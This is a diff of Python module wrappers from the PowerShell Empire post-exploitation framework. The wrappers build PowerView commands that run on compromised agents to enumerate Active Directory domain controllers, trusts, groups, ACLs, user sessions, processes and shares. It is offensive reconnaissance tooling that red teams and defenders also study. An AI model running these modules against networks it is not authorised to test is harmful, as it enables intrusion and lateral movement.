script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
script += moduleName + " "
for option,values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
return script

View File

@ -0,0 +1,99 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Get-NetDomainController',
'Author': ['@harmj0y'],
'Description': ('Returns the domain controllers for the current domain or '
'the specified domain. Part of PowerView.'),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'MinPSVersion' : '2',
'Comments': [
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'Domain' : {
'Description' : 'The domain to query for domain controllers.',
'Required' : False,
'Value' : ''
},
'DomainController' : {
'Description' : 'Domain controller to reflect LDAP queries through.',
'Required' : False,
'Value' : ''
},
'LDAP' : {
'Description' : 'Switch. Use LDAP queries to determine the domain controllers.',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
moduleName = self.info["Name"]
# read in the common powerview.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
# get just the code needed for the specified function
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
script += moduleName + " "
for option,values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
return script

View File

@ -0,0 +1,99 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Get-NetDomainTrust',
'Author': ['@harmj0y'],
'Description': ('Return all domain trusts for the current domain or '
'a specified domain. Part of PowerView.'),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'MinPSVersion' : '2',
'Comments': [
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'Domain' : {
'Description' : 'The domain whose trusts to enumerate, defaults to the current domain.',
'Required' : False,
'Value' : ''
},
'DomainController' : {
'Description' : 'Domain controller to reflect LDAP queries through.',
'Required' : False,
'Value' : ''
},
'LDAP' : {
'Description' : 'Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections.',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
moduleName = self.info["Name"]
# read in the common powerview.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
# get just the code needed for the specified function
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
script += moduleName + " "
for option,values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
return script

View File

@ -0,0 +1,88 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Get-NetForestDomain',
'Author': ['@harmj0y'],
'Description': ('Return all domains for a given forest. Part of PowerView.'),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'MinPSVersion' : '2',
'Comments': [
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'Forest' : {
'Description' : 'The forest name to query domain for, defaults to the current forest.',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
moduleName = self.info["Name"]
# read in the common powerview.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
# get just the code needed for the specified function
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
script += moduleName + " "
for option,values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
return script

View File

@ -5,11 +5,11 @@ class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Get-NetComputer',
'Name': 'Get-NetGPO',
'Author': ['@harmj0y'],
'Description': ('Queries the domain for current computer objects.'),
'Description': ('Gets a list of all current GPOs in a domain.'),
'Background' : True,
@ -35,28 +35,28 @@ class Module:
'Required' : True,
'Value' : ''
},
'FullData' : {
'Description' : 'Switch. Return full user computer objects instead of just system names.',
'GPOname' : {
'Description' : 'The GPO name to query for, wildcards accepted.',
'Required' : False,
'Value' : ''
},
'Ping' : {
'Description' : 'Switch. Only return hosts that respond to ping.',
'Required' : False,
'Value' : ''
},
'HostName' : {
'Description' : 'Return computers with a specific name, wildcards accepted.',
'Required' : False,
'Value' : ''
},
'OperatingSystem' : {
'Description' : 'Return computers with a specific operating system, wildcards accepted.',
'DisplayName' : {
'Description' : 'The GPO display name to query for, wildcards accepted. ',
'Required' : False,
'Value' : ''
},
'Domain' : {
'Description' : 'The domain to query for computers.',
'Description' : 'The domain to use for the query, defaults to the current domain.',
'Required' : False,
'Value' : ''
},
'DomainController' : {
'Description' : 'Domain controller to reflect LDAP queries through.',
'Required' : False,
'Value' : ''
},
'ADSpath' : {
'Description' : 'The LDAP source to search through.',
'Required' : False,
'Value' : ''
}
@ -75,8 +75,10 @@ class Module:
def generate(self):
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Get-NetComputer.ps1"
moduleName = self.info["Name"]
# read in the common powerview.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
try:
f = open(moduleSource, 'r')
@ -87,9 +89,10 @@ class Module:
moduleCode = f.read()
f.close()
script = moduleCode
# get just the code needed for the specified function
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
script += "Get-NetComputer "
script += moduleName + " "
for option,values in self.options.iteritems():
if option.lower() != "agent":
@ -99,5 +102,7 @@ class Module:
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
return script

View File

@ -0,0 +1,118 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Get-NetGroup',
'Author': ['@harmj0y'],
'Description': ('Gets a list of all current groups in a domain, or all the groups a given user/group object belongs to. Part of PowerView.'),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'MinPSVersion' : '2',
'Comments': [
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'GroupName' : {
'Description' : 'The group name to query for, wildcards accepted.',
'Required' : False,
'Value' : ''
},
'SID' : {
'Description' : 'The group SID to query for.',
'Required' : False,
'Value' : ''
},
'UserName' : {
'Description' : 'The user name (or group name) to query for all effective groups of.',
'Required' : False,
'Value' : ''
},
'Filter' : {
'Description' : 'A customized ldap filter string to use, e.g. "(description=*admin*)"',
'Required' : False,
'Value' : ''
},
'Domain' : {
'Description' : 'The domain to use for the query, defaults to the current domain.',
'Required' : False,
'Value' : ''
},
'DomainController' : {
'Description' : 'Domain controller to reflect LDAP queries through.',
'Required' : False,
'Value' : ''
},
'FullData' : {
'Description' : 'Return full group objects instead of just object names (the default).',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
moduleName = self.info["Name"]
# read in the common powerview.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
# get just the code needed for the specified function
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
script += moduleName + " "
for option,values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
return script

View File

@ -0,0 +1,118 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Get-NetGroupMember',
'Author': ['@harmj0y'],
'Description': ('Returns the members of a given group, with the option to "Recurse" to find all effective group members. Part of PowerView.'),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'MinPSVersion' : '2',
'Comments': [
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'GroupName' : {
'Description' : 'The group name to query for users.',
'Required' : True,
'Value' : ''
},
'SID' : {
'Description' : 'The Group SID to query for users.',
'Required' : False,
'Value' : ''
},
'Filter' : {
'Description' : 'A customized ldap filter string to use, e.g. "(description=*admin*)"',
'Required' : False,
'Value' : ''
},
'Domain' : {
'Description' : 'The domain to use for the query, defaults to the current domain.',
'Required' : False,
'Value' : ''
},
'DomainController' : {
'Description' : 'Domain controller to reflect LDAP queries through.',
'Required' : False,
'Value' : ''
},
'FullData' : {
'Description' : 'Return full group objects instead of just object names (the default).',
'Required' : False,
'Value' : ''
},
'Recurse' : {
'Description' : 'Switch. If the group member is a group, recursively try to query its members as well.',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
moduleName = self.info["Name"]
# read in the common powerview.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
# get just the code needed for the specified function
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
script += moduleName + " "
for option,values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
return script

View File

@ -10,7 +10,7 @@ class Module:
'Author': ['@harmj0y'],
'Description': ('Returns a list of all current users in a specified local group '
'on a local or remote machine.'),
'on a local or remote machine. Part of PowerView.'),
'Background' : True,
@ -34,16 +34,21 @@ class Module:
'Required' : True,
'Value' : ''
},
'HostName' : {
'ComputerName' : {
'Description' : 'The hostname or IP to query for local group users.',
'Required' : False,
'Value' : 'localhost'
},
'GroupName' : {
'Description' : 'The local group name to query for users.',
'Description' : 'The local group name to query for users, defaults to "Administrators".',
'Required' : False,
'Value' : 'Administrators'
},
'ListGroups' : {
'Description' : 'Switch. List all the local groups instead of their members.',
'Required' : False,
'Value' : ''
},
'Recurse' : {
'Description' : 'Switch. If the local member member is a domain group, recursively try to resolve its members to get a list of domain users who can access this machine.',
'Required' : False,
@ -64,8 +69,10 @@ class Module:
def generate(self):
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Get-NetLocalGroup.ps1"
moduleName = self.info["Name"]
# read in the common powerview.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
try:
f = open(moduleSource, 'r')
@ -76,9 +83,10 @@ class Module:
moduleCode = f.read()
f.close()
script = moduleCode
# get just the code needed for the specified function
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
script += "Get-NetLocalGroup "
script += moduleName + " "
for option,values in self.options.iteritems():
if option.lower() != "agent":
@ -87,8 +95,8 @@ class Module:
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
script += "| Out-String"
script += " -" + str(option) + " " + str(values['Value'])
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
return script

View File

@ -0,0 +1,133 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Get-ObjectAcl',
'Author': ['@harmj0y', '@pyrotek3'],
'Description': ('Returns the ACLs associated with a specific active directory object. Part of PowerView.'),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'MinPSVersion' : '2',
'Comments': [
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'SamAccountName' : {
'Description' : 'Object SamAccountName to filter for.',
'Required' : False,
'Value' : ''
},
'Name' : {
'Description' : 'Object Name to filter for.',
'Required' : False,
'Value' : ''
},
'DistinguishedName' : {
'Description' : 'Object distinguished name to filter for.',
'Required' : False,
'Value' : ''
},
'ResolveGUIDs' : {
'Description' : 'Switch. Resolve GUIDs to their display names.',
'Required' : False,
'Value' : 'True'
},
'Filter' : {
'Description' : 'A customized ldap filter string to use, e.g. "(description=*admin*)"',
'Required' : False,
'Value' : ''
},
'ADSpath' : {
'Description' : 'The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"',
'Required' : False,
'Value' : ''
},
'ADSprefix' : {
'Description' : 'Prefix to set for the searcher (like "CN=Sites,CN=Configuration")',
'Required' : False,
'Value' : ''
},
'RightsFilter' : {
'Description' : 'Only return results with the associated rights, "All", "ResetPassword","ChangePassword","WriteMembers"',
'Required' : False,
'Value' : ''
},
'Domain' : {
'Description' : 'The domain to use for the query, defaults to the current domain.',
'Required' : False,
'Value' : ''
},
'DomainController' : {
'Description' : 'Domain controller to reflect LDAP queries through.',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
moduleName = self.info["Name"]
# read in the common powerview.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
# get just the code needed for the specified function
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
script += moduleName + " "
for option,values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
return script

View File

@ -5,12 +5,11 @@ class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-Netview',
'Name': 'Get-NetOU',
'Author': ['@harmj0y'],
'Description': ('Queries the domain for all hosts, and retrieves open shares, '
'sessions, and logged on users for each host. Part of PowerView.'),
'Description': ('Gets a list of all current OUs in a domain. Part of PowerView.'),
'Background' : True,
@ -23,8 +22,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView',
'https://github.com/mubix/netview'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}
@ -37,38 +35,33 @@ class Module:
'Required' : True,
'Value' : ''
},
'Hosts' : {
'Description' : 'Hosts to enumerate.',
'OUName' : {
'Description' : 'The OU name to query for, wildcards accepted.',
'Required' : False,
'Value' : ''
},
'HostList' : {
'Description' : 'Hostlist to enumerate.',
'Required' : False,
'Value' : ''
},
'HostFilter' : {
'Description' : 'Host filter name to query AD for, wildcards accepted.',
'Required' : False,
'Value' : ''
},
'NoPing' : {
'Description' : 'Don\'t ping each host to ensure it\'s up before enumerating.',
'Required' : False,
'Value' : ''
},
'CheckShareAccess' : {
'Description' : 'Switch. Only display found shares that the local user has access to.',
'Required' : False,
'Value' : ''
},
'Delay' : {
'Description' : 'Delay between enumerating hosts, defaults to 0.',
'GUID' : {
'Description' : 'Only return OUs with the specified GUID in their gplink property.',
'Required' : False,
'Value' : ''
},
'Domain' : {
'Description' : 'Domain to enumerate for hosts.',
'Description' : 'The domain to use for the query, defaults to the current domain.',
'Required' : False,
'Value' : ''
},
'DomainController' : {
'Description' : 'Domain controller to reflect LDAP queries through.',
'Required' : False,
'Value' : ''
},
'ADSpath' : {
'Description' : 'The LDAP source to search through.',
'Required' : False,
'Value' : ''
},
'FullData' : {
'Description' : 'Switch. Return full OU objects instead of just object names (the default).',
'Required' : False,
'Value' : ''
}
@ -87,8 +80,10 @@ class Module:
def generate(self):
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-Netview.ps1"
moduleName = self.info["Name"]
# read in the common powerview.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
try:
f = open(moduleSource, 'r')
@ -99,9 +94,10 @@ class Module:
moduleCode = f.read()
f.close()
script = moduleCode
# get just the code needed for the specified function
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
script += "Invoke-NetView "
script += moduleName + " "
for option,values in self.options.iteritems():
if option.lower() != "agent":
@ -111,7 +107,7 @@ class Module:
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
script += '| Out-String | %{$_ + \"`n\"};"`nInvoke-Netview completed"'
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
return script

View File

@ -0,0 +1,113 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Get-NetUser',
'Author': ['@harmj0y'],
'Description': ('Query information for a given user or users in the specified domain. Part of PowerView.'),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'MinPSVersion' : '2',
'Comments': [
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'UserName' : {
'Description' : 'Username filter string, wildcards accepted.',
'Required' : False,
'Value' : ''
},
'Domain' : {
'Description' : 'The domain to use for the query, defaults to the current domain.',
'Required' : False,
'Value' : ''
},
'DomainController' : {
'Description' : 'Domain controller to reflect LDAP queries through.',
'Required' : False,
'Value' : ''
},
'ADSpath' : {
'Description' : 'The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"',
'Required' : False,
'Value' : ''
},
'Filter' : {
'Description' : 'A customized ldap filter string to use, e.g. "(description=*admin*)"',
'Required' : False,
'Value' : ''
},
'SPN' : {
'Description' : 'Switch. Only return user objects with non-null service principal names.',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
moduleName = self.info["Name"]
# read in the common powerview.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
# get just the code needed for the specified function
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
script += moduleName + " "
for option,values in self.options.iteritems():
if option.lower() != "agent":
if values['Value'] and values['Value'] != '':
if values['Value'].lower() == "true":
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
return script

View File

@ -5,12 +5,11 @@ class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Get-ExploitableSystems',
'Name': 'Invoke-MapDomainTrust',
'Author': ['Scott Sutherland (@_nullbind)'],
'Author': ['@harmj0y'],
'Description': ('Queries Active Directory for systems likely vulnerable to various '
'Metasploit exploits.'),
'Description': ('Maps all reachable domain trusts with .CSV output. Part of PowerView.'),
'Background' : True,
@ -23,7 +22,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/nullbind/Powershellery/blob/master/Stable-ish/ADS/Get-ExploitableSystems.psm1'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}
@ -36,13 +35,13 @@ class Module:
'Required' : True,
'Value' : ''
},
'DomainController' : {
'Description' : 'Specific domain controller to query against.',
'LDAP' : {
'Description' : 'Switch. Use LDAP for domain queries (less accurate).',
'Required' : False,
'Value' : ''
},
'SearchDN' : {
'Description' : 'Distinguished Name Path to limit search to.',
'DomainController' : {
'Description' : 'Domain controller to reflect LDAP queries through.',
'Required' : False,
'Value' : ''
}
@ -51,7 +50,7 @@ class Module:
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
@ -60,9 +59,11 @@ class Module:
def generate(self):
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Get-ExploitableSystems.psm1"
moduleName = self.info["Name"]
# read in the common powerview.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
try:
f = open(moduleSource, 'r')
@ -73,9 +74,10 @@ class Module:
moduleCode = f.read()
f.close()
script = moduleCode
# get just the code needed for the specified function
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
script += "Get-ExploitableSystems "
script += moduleName + " "
for option,values in self.options.iteritems():
if option.lower() != "agent":
@ -84,8 +86,8 @@ class Module:
# if we're just adding a switch
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
script += " -" + str(option) + " " + str(values['Value'])
script += " | ft -autosize | Out-String | %{$_ + \"`n\"}"
script += '| ConvertTo-Csv -NoTypeInformation | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
return script

View File

@ -5,13 +5,11 @@ class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-StealthUserHunter',
'Name': 'Invoke-ProcessHunter',
'Author': ['@harmj0y'],
'Description': ('Finds which machines users of a specified group are logged into by '
'querying AD for servers likely to have high traffic (file servers, DCs, etc.) '
'and enumerating sessions again each. Part of PowerView.'),
'Description': ('Query the process lists of remote machines, searching for processes with a specific name or owned by a specific user.'),
'Background' : True,
@ -37,13 +35,28 @@ class Module:
'Required' : True,
'Value' : ''
},
'Hosts' : {
'ComputerName' : {
'Description' : 'Hosts to enumerate.',
'Required' : False,
'Value' : ''
},
'HostList' : {
'Description' : 'Hostlist to enumerate.',
'ComputerFilter' : {
'Description' : 'Host filter name to query AD for, wildcards accepted.',
'Required' : False,
'Value' : ''
},
'ProcessName' : {
'Description' : 'The name of the process to hunt, or a comma separated list of names.',
'Required' : False,
'Value' : ''
},
'GroupName' : {
'Description' : 'Group name to query for target users.',
'Required' : False,
'Value' : ''
},
'TargetServer' : {
'Description' : 'Hunt for users who are effective local admins on a target server.',
'Required' : False,
'Value' : ''
},
@ -52,28 +65,18 @@ class Module:
'Required' : False,
'Value' : ''
},
'GroupName' : {
'Description' : 'Group to query for user names.',
'Required' : False,
'Value' : ''
},
'UserList' : {
'Description' : 'List of usernames to search for.',
'UserFilter' : {
'Description' : 'A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)"',
'Required' : False,
'Value' : ''
},
'StopOnSuccess' : {
'Description' : 'Switch. Stop when a target user is found.',
'Required' : False,
'Value' : ''
},
'NoPing' : {
'Description' : 'Don\'t ping each host to ensure it\'s up before enumerating.',
'Description' : 'Switch. Stop hunting after finding after finding a target user.',
'Required' : False,
'Value' : ''
},
'CheckAccess' : {
'Description' : 'Switch. Check if the current user has local admin access to found machines.',
'NoPing' : {
'Description' : "Don't ping each host to ensure it's up before enumerating.",
'Required' : False,
'Value' : ''
},
@ -82,13 +85,18 @@ class Module:
'Required' : False,
'Value' : ''
},
'ShowAll' : {
'Description' : 'Switch. Show all result output.',
'Required' : False,
'Value' : ''
},
'Domain' : {
'Description' : 'Domain to enumerate for hosts.',
'Description' : 'The domain to use for the query, defaults to the current domain.',
'Required' : False,
'Value' : ''
},
'DomainController' : {
'Description' : 'Domain controller to reflect LDAP queries through.',
'Required' : False,
'Value' : ''
},
'Threads' : {
'Description' : 'The maximum concurrent threads to execute.',
'Required' : False,
'Value' : ''
}
@ -107,8 +115,10 @@ class Module:
def generate(self):
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-UserHunter.ps1"
moduleName = self.info["Name"]
# read in the common powerview.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
try:
f = open(moduleSource, 'r')
@ -119,9 +129,10 @@ class Module:
moduleCode = f.read()
f.close()
script = moduleCode
# get just the code needed for the specified function
script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
script += "Invoke-StealthUserHunter "
script += moduleName + " "
for option,values in self.options.iteritems():
if option.lower() != "agent":
@ -131,9 +142,7 @@ class Module:
script += " -" + str(option)
else:
script += " -" + str(option) + " " + str(values['Value'])
script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
script += "| Select-Object TargetUser, Computer, IP, SessionFrom, LocalAdmin | ft -autosize | Out-String | %{$_ + \"`n\"}"
script += ';"`nInvoke-StealthUserHunter completed"'
return script

View File

@ -9,7 +9,7 @@ class Module:
'Author': ['@harmj0y'],
'Description': ('Finds shares on machines in the domain.'),
'Description': ('Finds shares on machines in the domain. Part of PowerView.'),
'Background' : True,
@ -35,38 +35,43 @@ class Module:
'Required' : True,
'Value' : ''
},
'Hosts' : {
'ComputerName' : {
'Description' : 'Hosts to enumerate.',
'Required' : False,
'Value' : ''
},
'HostList' : {
'Description' : 'Hostlist to enumerate.',
'Required' : False,
'Value' : ''
},
'HostFilter' : {
'ComputerFilter' : {
'Description' : 'Host filter name to query AD for, wildcards accepted.',
'Required' : False,
'Value' : ''
},
'NoPing' : {
'Description' : 'Don\'t ping each host to ensure it\'s up before enumerating.',
'Required' : False,
'Value' : ''
},
'CheckShareAccess' : {
'Description' : 'Switch. Only display found shares that the local user has access to.',
'Required' : False,
'Value' : ''
},
'NoPing' : {
'Description' : "Don't ping each host to ensure it's up before enumerating.",
'Required' : False,
'Value' : ''
},
'Delay' : {
'Description' : 'Delay between enumerating hosts, defaults to 0.',
'Required' : False,
'Value' : ''
},
'Domain' : {
'Description' : 'Domain to enumerate for hosts.',
'Description' : 'The domain to use for the query, defaults to the current domain.',
'Required' : False,
'Value' : ''
},
'DomainController' : {
'Description' : 'Domain controller to reflect LDAP queries through.',
'Required' : False,
'Value' : ''
},
'Threads' : {
'Description' : 'The maximum concurrent threads to execute.',
'Required' : False,
'Value' : ''
}
@ -85,8 +90,10 @@ class Module:
def generate(self):
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-ShareFinder.ps1"
moduleName = self.info["Name"]
# read in the common powerview.ps1 module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
try:
f = open(moduleSource, 'r')
@ -97,9 +104,10 @@ class Module:
moduleCode = f.read()
f.close()
script = moduleCode
# get just the code needed for the specified function
